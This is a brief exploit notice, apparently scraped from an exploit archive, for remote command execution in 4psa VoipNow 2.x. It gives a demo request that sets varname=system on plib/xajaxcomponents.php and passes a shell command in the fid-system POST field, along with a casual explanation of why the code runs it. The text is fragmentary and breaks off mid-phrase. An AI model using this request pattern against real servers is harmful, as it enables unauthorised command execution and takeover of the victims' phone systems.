4psa VoipNow 2.x Remote Command Execution

Function: ".$funcname." does not exist."; Demo Exploit : Get : plib/xajaxcomponents.php?varname=system Post : fid-system=echo WTF!! so the result is echo system 'echo WTF!!', array ; the system var need just the 1st parameter so don't give fu about the array :D Peace out / echo...